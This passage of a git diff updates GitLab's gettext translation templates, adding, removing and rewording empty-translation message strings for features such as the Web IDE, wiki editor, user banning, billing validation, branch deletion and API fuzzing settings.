+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36115,9 +36820,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36361,6 +37063,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36469,6 +37174,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36487,12 +37198,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36502,6 +37219,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36523,9 +37246,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36694,6 +37414,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36898,6 +37621,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37009,9 +37735,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37294,10 +38026,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37336,6 +38068,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37366,9 +38101,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37567,9 +38299,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37906,6 +38635,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38152,6 +38920,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38230,7 +39001,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38332,6 +39103,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38392,9 +39166,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38422,10 +39193,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38467,9 +39235,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38485,12 +39250,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38899,6 +39670,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39022,6 +39799,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/hu_HU/gitlab.po b/locale/hu_HU/gitlab.po
index c5392459798..6525d6e0533 100644
--- a/locale/hu_HU/gitlab.po
+++ b/locale/hu_HU/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hu\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:21\n"
+"PO-Revision-Date: 2021-06-01 20:40\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
